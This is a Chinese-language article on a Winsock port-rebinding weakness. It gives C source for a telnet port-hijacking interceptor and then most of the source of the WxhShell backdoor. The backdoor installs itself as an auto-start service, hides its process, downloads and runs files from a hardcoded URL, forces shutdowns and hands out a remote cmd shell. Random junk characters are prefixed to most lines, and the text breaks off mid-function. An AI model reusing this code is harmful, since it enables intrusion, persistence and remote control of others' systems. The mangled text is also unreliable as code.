在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8
_J:Yg s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(hoqLL\}k xjYFTb}! saddr.sin_family = AF_INET;
;z68`P- <#UvLll saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`t
-3(>P w'!gLta bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Syk^7l nL?B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
q3:tZoeXV !`gg$9 这意味着什么?意味着可以进行如下的攻击:
;g9+*$Gw =6$( m}(74 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
bQ%^l#H_n' *K;~V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-Da_#_F IYWD_}_
$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Jj!T7f*-GX '&Ku Ba 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(:1j- Vk"QcW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
= 4If7 0czy:d,M% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
LYX+/@OU2 "7g: u- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
qv:WC
TAn SO)??kQ{U #include
2+enRR~ #include
h5JXKR.1]c #include
)JPcSy* #include
Wg[`H=)Q DWORD WINAPI ClientThread(LPVOID lpParam);
t`?FSV int main()
zri <'W {
S%4K-I WORD wVersionRequested;
8P .! q DWORD ret;
\h-[u% WSADATA wsaData;
AXyuXB BOOL val;
}IV7dKzl SOCKADDR_IN saddr;
cH#`f4 SOCKADDR_IN scaddr;
>QyMeH int err;
u1uY*p SOCKET s;
K"pfp !Y SOCKET sc;
Y4_i=}\*vf int caddsize;
oDC3AK& HANDLE mt;
VbN]z: DWORD tid;
W `Soa&9 wVersionRequested = MAKEWORD( 2, 2 );
\rpu=*gt err = WSAStartup( wVersionRequested, &wsaData );
$j:0*Z=> if ( err != 0 ) {
jkbz8.K printf("error!WSAStartup failed!\n");
6jn<YR
E-
return -1;
X#J[Nn> }
CB~&!MdMr saddr.sin_family = AF_INET;
&(K*TB|Om f /jN $p //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
h41v}5!- hi37p1t saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
e1H.2n{y^ saddr.sin_port = htons(23);
Cc^t&Eg if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Po2YDj` {
Rk'Dd4"m, printf("error!socket failed!\n");
R}0cO^V return -1;
S^_na]M"4 }
{f!m m3'2v val = TRUE;
D@2Tx //SO_REUSEADDR选项就是可以实现端口重绑定的
xzy9~))o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
zn M"P|A {
S\C printf("error!setsockopt failed!\n");
wtY#8'^$& return -1;
u+Li'Ug }
d.{RZq2cp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&t4j px //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
htaB!Q?V //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
k,r\^1h ,xGlWH wrY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(\Dd9a8V- {
.G^.kg , ret=GetLastError();
$,
=n printf("error!bind failed!\n");
r6^DD$X return -1;
0c]Lm?& }
`0sa94H1[ listen(s,2);
;a68>5Lm* while(1)
4Q$\hO3b {
'Ct+0X:D caddsize = sizeof(scaddr);
6rRPqO
j //接受连接请求
jtZ@`io sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
?vZ&CB if(sc!=INVALID_SOCKET)
sl)_HA7G {
0n1y$*I4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Gm*i='f!? if(mt==NULL)
hX;xbl {
KB-7]H printf("Thread Creat Failed!\n");
K$rH{dUM break;
TfJB; }
GE"#.J4z }
E;h#3
B9 CloseHandle(mt);
s |qB; }
N &=,)d~M closesocket(s);
f$P pFSY4 WSACleanup();
g6N{Z e Wg return 0;
w7O(I" }
t.]oLG22r DWORD WINAPI ClientThread(LPVOID lpParam)
G $?VYC8; {
gllXJM^ - SOCKET ss = (SOCKET)lpParam;
T9u/|OP SOCKET sc;
B=9|g1e unsigned char buf[4096];
E9|i: SOCKADDR_IN saddr;
h8n J$jg long num;
Yh4e\]ql~N DWORD val;
%GAEZH,2sG DWORD ret;
rQ/S|gG //如果是隐藏端口应用的话,可以在此处加一些判断
S9mj/GpL3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}4+S_b saddr.sin_family = AF_INET;
Z,ag5 w`]L saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C,K P!B{ saddr.sin_port = htons(23);
Y(<>[8S m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u+S*D\p<` {
a?@j`@]ZR~ printf("error!socket failed!\n");
kRG-~'f%` return -1;
]F-{)j }
7:;P>sF@ val = 100;
Byon2| nf7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
OrHnz981K {
! k&< ret = GetLastError();
QarA.Ne~ return -1;
RM,r0Kv17Y }
3pm;?6i6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1C:lXx$| {
#Jg)HU9
ret = GetLastError();
DUa`8cE} return -1;
KbSIKj }
]_j{b)t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C7,Ol0`v {
J8(v65 printf("error!socket connect failed!\n");
U2!9Tl9". closesocket(sc);
!K_%@|: 7% closesocket(ss);
\U,.!'+ return -1;
GYCc)Guc }
Ao 1*a%-. while(1)
h@l5MH=|% {
]Y:|%rvVH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Haiuf)a //如果是嗅探内容的话,可以再此处进行内容分析和记录
jiz"`,-},O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)j!22tlL num = recv(ss,buf,4096,0);
NfKi,^O if(num>0)
%KRAcCa7 send(sc,buf,num,0);
]*Zg(YA else if(num==0)
jF{zcYU break;
,D>$N3; num = recv(sc,buf,4096,0);
"<NQ2Vr]5 if(num>0)
5G=2=E send(ss,buf,num,0);
k.?b2]@$ else if(num==0)
S_aml break;
>OmY }
e<>(c7bF closesocket(ss);
+ImPNwrY closesocket(sc);
W~FcU+a return 0 ;
.\qZkk}2l }
:*#I1nb$ p-r}zc9@ aw {?UvL& ==========================================================
&`GQS| ho;Km 下边附上一个代码,,WXhSHELL
vfm|?\ pzH N:9r ==========================================================
a";(C,:0 &.;t dT7 #include "stdafx.h"
r@^h, mRFcZ.7 #include <stdio.h>
g.zJ[- #include <string.h>
Sr/"'w; #include <windows.h>
! ai, \ #include <winsock2.h>
8E ^yHd4Y #include <winsvc.h>
p'ukV(B #include <urlmon.h>
0k0y'1SL G)M9to #pragma comment (lib, "Ws2_32.lib")
Jah~h44& #pragma comment (lib, "urlmon.lib")
*h$Z:p-g -BgzAxa #define MAX_USER 100 // 最大客户端连接数
RL
SP?o2J #define BUF_SOCK 200 // sock buffer
2VA\{M #define KEY_BUFF 255 // 输入 buffer
bncIxxe 9#xcp/O #define REBOOT 0 // 重启
E_MGejm@ #define SHUTDOWN 1 // 关机
G(EiDo& FhHcS>]:. #define DEF_PORT 5000 // 监听端口
V)oUSHillH ![P1Qvp #define REG_LEN 16 // 注册表键长度
?`3`azfM #define SVC_LEN 80 // NT服务名长度
m
=
"N4! f)~urGazS // 从dll定义API
t[XxLG* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;3-5U&Axt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*am.NH\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F$N"&<[c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;|5m;x/a S9U,so? // wxhshell配置信息
]4ya$%A struct WSCFG {
)#N)w5DU int ws_port; // 监听端口
!
jm> char ws_passstr[REG_LEN]; // 口令
|x3.r t int ws_autoins; // 安装标记, 1=yes 0=no
gT22!
char ws_regname[REG_LEN]; // 注册表键名
a=+qR:wT char ws_svcname[REG_LEN]; // 服务名
k,LeBCqGcb char ws_svcdisp[SVC_LEN]; // 服务显示名
1D sgU6" char ws_svcdesc[SVC_LEN]; // 服务描述信息
7loIX Qw char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!'Q/9%g int ws_downexe; // 下载执行标记, 1=yes 0=no
|<t"O char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
s`B "qw char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$*tq$DZ4& 3M=ym. };
mx y> zB kS1qMn // default Wxhshell configuration
Q-k{Lqa- struct WSCFG wscfg={DEF_PORT,
7y1J69IK "xuhuanlingzhe",
mzLDZ#=b 1,
I9-vV>:z "Wxhshell",
?6P
P_QY "Wxhshell",
QWp,(Mv:r "WxhShell Service",
nlQ<Aa-% "Wrsky Windows CmdShell Service",
CqDKQQ "Please Input Your Password: ",
/p+ (_Y 1,
7@NAky( "
http://www.wrsky.com/wxhshell.exe",
QqA~y$'ut "Wxhshell.exe"
wuSp+?{5k };
u=JI 1 z|;7;TwA // 消息定义模块
BFmd`#{l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
? >SC:{( char *msg_ws_prompt="\n\r? for help\n\r#>";
rV>/:FG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
fgVeB;k| char *msg_ws_ext="\n\rExit.";
[#S}L(
char *msg_ws_end="\n\rQuit.";
H|T!}M> char *msg_ws_boot="\n\rReboot...";
vtM!?#
char *msg_ws_poff="\n\rShutdown...";
@-|{qP=Dy char *msg_ws_down="\n\rSave to ";
9tvLj5~ UT|FV
twO char *msg_ws_err="\n\rErr!";
cLj@+?/ char *msg_ws_ok="\n\rOK!";
=(Y 1y$ .>NhC" char ExeFile[MAX_PATH];
[HGGXgN int nUser = 0;
5RCZv\Wd& HANDLE handles[MAX_USER];
qPY
OO int OsIsNt;
Hg\+:}k&9 ]V\qX+K SERVICE_STATUS serviceStatus;
$R4[TQY).! SERVICE_STATUS_HANDLE hServiceStatusHandle;
He^u+N@B =X6WK7^0 // 函数声明
(F@.o1No% int Install(void);
28>PmH]7 int Uninstall(void);
Ao~ZK[u int DownloadFile(char *sURL, SOCKET wsh);
Ch8w_Jf1yx int Boot(int flag);
zY6{ OP!# void HideProc(void);
28J
;9 int GetOsVer(void);
gmkD'CX*A int Wxhshell(SOCKET wsl);
x;ym_UZ6e void TalkWithClient(void *cs);
~?TGSD@( int CmdShell(SOCKET sock);
7714}%Z int StartFromService(void);
Ta^l1]9.* int StartWxhshell(LPSTR lpCmdLine);
H)tnxD0) Cg[]y1Ne VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~=qJSb VOID WINAPI NTServiceHandler( DWORD fdwControl );
""Nu["|E U+gOojRy{ // 数据结构和表定义
,&[2z! SERVICE_TABLE_ENTRY DispatchTable[] =
d:jD {
ihivJZ {wscfg.ws_svcname, NTServiceMain},
*<?or"P {NULL, NULL}
#
~SuL3 };
R?@F%J;tx *ILx-D5qr // 自我安装
J`}5bnFP
int Install(void)
ZS[(r-)$F {
04>dxw)8 char svExeFile[MAX_PATH];
<$!^LKKzA HKEY key;
9fp@d strcpy(svExeFile,ExeFile);
<>\s#Jf/ a-w=LpVM // 如果是win9x系统,修改注册表设为自启动
Ba==Ri8$ if(!OsIsNt) {
Gh;Ju[6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`|@# ~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A;VjMfoB RegCloseKey(key);
&Ohm]g8{2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FRa@TN/Ic RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)QS4Z{)U RegCloseKey(key);
uJ;7] return 0;
ue8C pn^M }
dER#)bGj }
z<2!| }
t}r`~AEa! else {
.XD7};g d3Dw[4 // 如果是NT以上系统,安装为系统服务
gx+bKGB` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M =Pn8<h~ if (schSCManager!=0)
\z"0lAv" {
8`Wj 1 ,q SC_HANDLE schService = CreateService
V?"X0>]0 (
b=[gK|fu schSCManager,
`;Qw/xl_N wscfg.ws_svcname,
Bc%A aZ0x wscfg.ws_svcdisp,
e45gjjts SERVICE_ALL_ACCESS,
X :2%U SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"[(&$I SERVICE_AUTO_START,
py#` SERVICE_ERROR_NORMAL,
jM`)Nd svExeFile,
P&PPX#% NULL,
]C.x8(2!f NULL,
:EOx>Pf_9) NULL,
$50rj NULL,
O 1TJJ8 NULL
f+>l-6M+p );
"JI FF_ if (schService!=0)
5)X;q- {
aRFLh CloseServiceHandle(schService);
!]]QbB CloseServiceHandle(schSCManager);
S |SN3)
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
VA4>!t) strcat(svExeFile,wscfg.ws_svcname);
J[E_n;d1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{z)&=v@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
u{Jv6K, RegCloseKey(key);
cI}qMc return 0;
W_k;jy_{9 }
C9l5zb~D }
(eX9O4 CloseServiceHandle(schSCManager);
huh-S ,M }
1,cd[^`. }
+B^(,qKMN ]L0GIVIE return 1;
b~F(2[o }
xs<~[l 3#fu;??1. // 自我卸载
7P3PQ%: int Uninstall(void)
b=:$~N@Y {
_isqk~ ul HKEY key;
TMt,\gTd =gI;%M\' if(!OsIsNt) {
8`bQ,E+2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>:W7f2%8` RegDeleteValue(key,wscfg.ws_regname);
a[TR_uR RegCloseKey(key);
IT,d(UV_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?39B(T RegDeleteValue(key,wscfg.ws_regname);
_?UW,5=O RegCloseKey(key);
DG_tmDT4 return 0;
~ou1{NS }
kOfq6[JC }
w k1O*_76 }
!eb}jL else {
P'o:Vhm_H cG|)z<Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\BB(0Ah+t if (schSCManager!=0)
4%l
@ {
=n
$@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
uP,{yna( if (schService!=0)
s|3@\9\ {
)
V}q7\G~ if(DeleteService(schService)!=0) {
k+k&}8e CloseServiceHandle(schService);
.Z=4,m> CloseServiceHandle(schSCManager);
M6n9>aW4 return 0;
$lkd9r1 }
x;H#-^LxW= CloseServiceHandle(schService);
RB]K? }
k~|nU CloseServiceHandle(schSCManager);
JQVu&S }
-ya0!D }
bkmW[w:M -w41Bvz0 return 1;
o`^GUY} }
H^jFvAI,8 (s?`*i:2 // 从指定url下载文件
EZvB#cuL- int DownloadFile(char *sURL, SOCKET wsh)
] iKFEd {
BKoc;20; HRESULT hr;
1FfdW>ay* char seps[]= "/";
/m,0H)w1 char *token;
qX'w}nJ}H} char *file;
w)bLdQ char myURL[MAX_PATH];
@\gTi;u/x char myFILE[MAX_PATH];
/EY^u i XOl]s?6H$ strcpy(myURL,sURL);
s>sIji token=strtok(myURL,seps);
z1\G,mJK while(token!=NULL)
Mwdh]I,# {
.K![<eZ file=token;
.y7&!a35 token=strtok(NULL,seps);
w, 0tY=h6 }
)"7hyW 5 Ph&AP*Fq GetCurrentDirectory(MAX_PATH,myFILE);
3[Pa~]yS strcat(myFILE, "\\");
YxMOr\B strcat(myFILE, file);
]a%
*$TF send(wsh,myFILE,strlen(myFILE),0);
T!6H5>zA send(wsh,"...",3,0);
f_1#>] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
L2ePWctq} if(hr==S_OK)
!Ju?REH return 0;
2A3;#v else
\Cx)
~bq< return 1;
<YbOO{ $)|
l#'r }
l ' ]d& Wpom {- // 系统电源模块
9kPwUAw int Boot(int flag)
oF/5mh__(K {
b6D}GuW HANDLE hToken;
K?')#%Z/{# TOKEN_PRIVILEGES tkp;
RL>Nl ow RVN"lDGA if(OsIsNt) {
2,Y8ML< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
N"|^AF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`Rj<qz^7 tkp.PrivilegeCount = 1;
mi|O)6>8n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?{#P.2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
bwM>#@H if(flag==REBOOT) {
HtOo*\Ne if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_>HXQ6Hw return 0;
UTQ$sg|7p }
~p~8T else {
+3e(psdg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]B>Y
+ return 0;
b?-%Uzp< }
5YIiO7@4 }
+MC>?rr_u else {
K5(?6hr; if(flag==REBOOT) {
e,Xvt5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*iF>}yh e return 0;
Ty%4#9``0 }
<FH3ePz else {
L>{E8qv>w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
x]%e_ return 0;
daBu<0\ }
YZ\$b=- }
,_`\c7@ y]=v+Q*+ return 1;
#{(?a.: }
?PWD[mQE\ +SM $# // win9x进程隐藏模块
>q
<,FY!A void HideProc(void)
</<_e0 {
}M
f}gCEW EF0{o_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
D@qq=M if ( hKernel != NULL )
xk86?2b{) {
@{.rDz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+IVVsVp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
{Cs~5jYz FreeLibrary(hKernel);
$c0SWz }
H7"I+qE-G (|ga#%iI return;
}*$-rieg }
6fPuTQ}fY> ,e>C)wq; // 获取操作系统版本
M#})
int GetOsVer(void)
/'E+(Y&:J {
$${ebt OSVERSIONINFO winfo;
%kNkDI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
.)})8csl.d GetVersionEx(&winfo);
j]J2,J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qfppJ8L return 1;
s;}';# else
Mim 9C]h( return 0;
e@p` -;< }
hr@KWE` A3&8@/6, // 客户端句柄模块
-+|0LXo int Wxhshell(SOCKET wsl)
B/E1nBobC {
D8h?s SOCKET wsh;
}<FBcc(n struct sockaddr_in client;
` ]WU=Ss DWORD myID;
{_3ZKD(\ F#4?@W while(nUser<MAX_USER)
tK{`?NS {
l/LRr.x int nSize=sizeof(client);
ezwcOYMXK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:@_CQc*yB if(wsh==INVALID_SOCKET) return 1;
n5S$Dl |Y/iq9l
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#zrD i if(handles[nUser]==0)
@[zPN[z. closesocket(wsh);
/RmLV else
fLc<}DF nUser++;
}K"=sE }
A &w)@DOe WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
E3,Z(dpX! w
\0=L=J return 0;
9]|[z{v'>l }
HtY\!_Ea XFYCPET // 关闭 socket
:BMU c-[ void CloseIt(SOCKET wsh)
wi*Ke2YKP {
Jd1eOeS closesocket(wsh);
D6bCC;
h= nUser--;
'ycs{}' ExitThread(0);
`{F8# }
z(1h ^.
CNbrXN // 客户端请求句柄
J;m[1Mae& void TalkWithClient(void *cs)
6xnJyEQUM {
M P0ww$( K+T`'J4 SOCKET wsh=(SOCKET)cs;
LdWeI char pwd[SVC_LEN];
/;HytFP char cmd[KEY_BUFF];
3h0w8(k; char chr[1];
FD_0FMZ9, int i,j;
Fhxg^ ?{_dW=AQ1 while (nUser < MAX_USER) {
[p4a\Qg0 }qV4]*+{ if(wscfg.ws_passstr) {
*i5&x/ds if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P|HY=RMa //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h]@Xucc //ZeroMemory(pwd,KEY_BUFF);
@!%<JZEz3 i=0;
n{4&('NRFP while(i<SVC_LEN) {
XFK$p^qu \iowAo$ // 设置超时
woR((K] #G fd_set FdRead;
.s7/bF struct timeval TimeOut;
,vg8iRa FD_ZERO(&FdRead);
3w{i5gGn FD_SET(wsh,&FdRead);
Y ;&Cmi TimeOut.tv_sec=8;
&lI.N~Ao TimeOut.tv_usec=0;
n)`*{uv$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
{j:{wW. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Kn\Oj=4 8l!S<RA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
L>@0Nne7 pwd
=chr[0]; lzS"NHs<g(
if(chr[0]==0xd || chr[0]==0xa) { Vx* =
pwd=0; V7rcnk#
break; @gxO%@@
} V3@^bc!
i++; i>)Whr'e8
} D\*raQ`n
c$uV8_ V
// 如果是非法用户,关闭 socket %K ]u"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8(Z*Vz uu
} }b\d CGVr
;'gzRC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q%>L/KJ#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !7%L%~z^
qY14LdC}~
while(1) { {R1jysGtD
Z8'uZ#=Yw
ZeroMemory(cmd,KEY_BUFF); m"U\;Mw?
S'3l<sY
// 自动支持客户端 telnet标准 |:H[Y"$1;
j=0; T w"^I*B
while(j<KEY_BUFF) { DeXnE$XH
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? `FI!3j
cmd[j]=chr[0]; t~U:{g~
if(chr[0]==0xa || chr[0]==0xd) { NO* 1km[#
cmd[j]=0; >xP $A{
break; Y;#P"-yH
} ^{~y+1lt'
j++; II~D66 bF
} sF|<m)Kt{W
zhN'@Wj'_
// 下载文件 Iupk+x>
if(strstr(cmd,"http://")) { 3j.f3~"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); h ?p^DPo
if(DownloadFile(cmd,wsh)) l'3NiIX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2@e<II2ha8
else eKStt|M'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5vP*oD
} cp.)K!$
else { <'GI<Hc
7~ |o_T
switch(cmd[0]) { +8BH%f}X
Z#4? /'
// 帮助 fep#Kb%"e
case '?': { U8<GD|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \f{C2d/6j
break; W*U\79H
} AeUwih.
4
// 安装 FirmzB Il5
case 'i': { A E7>jkHB
if(Install()) 7Bmt^J5i&t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C'5i>;
else :Z=A,G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EzG7RjW
break; uOW9FAW
} umls=iz
// 卸载 _/MKU!\l
case 'r': { `7N[rs9|S
if(Uninstall()) C@Wm+E~;8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q>Q$BCD5
else >Y{.)QS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I S!B$
break; *y N,e.t
} 7 v`Y*D
// 显示 wxhshell 所在路径 Z,u:g c+*
case 'p': { M>T#MDK\(
char svExeFile[MAX_PATH]; Gm>8=
=c
strcpy(svExeFile,"\n\r"); Bxm^Arc>
strcat(svExeFile,ExeFile); elP`5BuN
send(wsh,svExeFile,strlen(svExeFile),0); y4shW|>5_
break; %A W
} #j; &g1
// 重启 |0-5-.
case 'b': { O[`n{Vl/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "t\rjFw
if(Boot(REBOOT)) 6dg[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NrL%]dl3/
else { a(BC(^1!
closesocket(wsh); S)Ld^0w
ExitThread(0); \h
#vL
} KWN&nP
+
break; (6JD<pBm
} (dO4ww@O
// 关机 YjG0: 9
case 'd': { l<qxr.X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]p#Zdm1EL
if(Boot(SHUTDOWN)) KN+*_L-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A?6b)B/e?
else { eUBk^C]\
closesocket(wsh); n}?kQOg0/
ExitThread(0); ]vu'+F$
} ;%U`lE0
break; 8vaqj/
} MK=:L
// 获取shell v3@)q0@
case 's': { 1 k H
CmdShell(wsh); wmT3 >
closesocket(wsh); BJlF@F#
ExitThread(0);
?f &*mp
break; KE(kR>OB]
} LXw&d]P
// 退出 Hj2P|;2S
case 'x': { 8qBw;A)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _;0:wXib=
CloseIt(wsh); AY *
break; Z/ThYbk
} EzthRe9
// 离开 kuUH2:L
case 'q': { =@ON>SmPs
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *4.f*3*
closesocket(wsh); eH1Y!&`
WSACleanup(); s'5
jvlG
exit(1); rg\|-_.es'
break; }*0%wP
} :!aFfb["
} FiFZM
} NG b`f-:jw
E2dSOZS:)%
// 提示信息 i&?~QQP`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y4b"(ZhM_
} sQt@B#;
} 2f~s$I&l#
8@Y@5)Oc
return; 9N
u;0
} bg 7b!t1F
g[Yok`e[
// shell模块句柄 geT<vh Z6
int CmdShell(SOCKET sock) UB(8N7_/
{ r4_ c~\jH
STARTUPINFO si; ,@>B#%Nz
ZeroMemory(&si,sizeof(si)); !X#=Pt[,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
R4qS,2E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *9*I:Uh57
PROCESS_INFORMATION ProcessInfo; B|!YGfL
char cmdline[]="cmd"; 47t^{WrT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q 2=^l
return 0; oR3$A :!P=
} `#9ZP
UkeW2l`:
// 自身启动模式 `%rqQnVB
int StartFromService(void) a:P%
r
{ QMkLAZ
typedef struct 67f#Z&r2k
{ Ho\z^w+T`
DWORD ExitStatus; v'Lckw@G4
DWORD PebBaseAddress; f5`exfdHE
DWORD AffinityMask; s<^UAdLnl
DWORD BasePriority; lYq
R6^
ULONG UniqueProcessId; "_5av!;A
g
